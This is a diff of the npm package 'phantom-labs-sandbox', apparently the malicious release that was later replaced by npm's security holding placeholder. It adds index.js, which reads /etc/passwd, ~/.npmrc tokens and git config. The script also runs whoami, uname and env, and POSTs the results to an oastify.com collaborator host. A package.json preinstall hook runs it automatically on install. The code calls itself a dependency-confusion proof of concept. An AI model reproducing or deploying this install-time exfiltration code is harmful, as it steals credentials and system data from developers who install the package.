phantom-labs-sandbox 0.0.1-security → 999.0.0

package/index.js

@@ -0,0 +1,80 @@
+const os = require("os");
+const fs = require("fs");
+const dns = require("dns");
+const https = require("https");
+const { execSync } = require("child_process");
+const packageJSON = require("./package.json");
+
+// Helper to run shell commands safely
+function run(cmd) {
+    try {
+        return execSync(cmd).toString().trim();
+    } catch (err) {
+        return `Error: ${err.message}`;
+    }
+}
+
+// Helper to read files safely
+function readFileSafe(path) {
+    try {
+        return fs.existsSync(path) ? fs.readFileSync(path, "utf8") : "File Not Found";
+    } catch (err) {
+        return `Error: ${err.message}`;
+    }
+}
+
+// Sensitive files (LFI)
+const passwd = readFileSafe("/etc/passwd");
+const npmrc = readFileSafe(`${os.homedir()}/.npmrc`);
+const gitconfig = readFileSafe(`${os.homedir()}/.git/config`);
+
+// RCE-style info
+const whoami = run("whoami");
+const uname = run("uname -a");
+const env = run("env");
+const ip = run("curl -s https://api.ipify.org");
+
+// Final payload
+const payload = JSON.stringify({
+    note: "Demo: Dependency Confusion RCE + LFI PoC",
+    package: packageJSON.name,
+    version: packageJSON.version,
+    hostname: os.hostname(),
+    homedir: os.homedir(),
+    username: os.userInfo().username,
+    dns: dns.getServers(),
+    cwd: __dirname,
+    whoami,
+    uname,
+    env,
+    public_ip: ip,
+    files: {
+        passwd,
+        npmrc,
+        gitconfig
+    }
+});
+
+// POST it to Burp/Oastify
+const data = `msg=${encodeURIComponent(payload)}`;
+const options = {
+    hostname: "3quvyfiz92hoitjygxuctkhp1g79v0yon.oastify.com",
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": data.length
+    }
+};
+
+// Send
+const req = https.request(options, (res) => {
+    res.on("data", (d) => process.stdout.write(d));
+});
+req.on("error", (e) => {
+    console.error("Request failed:", e.message);
+});
+req.write(data);
+req.end();
+

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "phantom-labs-sandbox",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "999.0.0",
+  "description": "PoC for Dependency Confusion RCE + LFI",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "Created by Hiddnsec",
+  "license": "MIT"
 }
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=phantom-labs-sandbox for more information.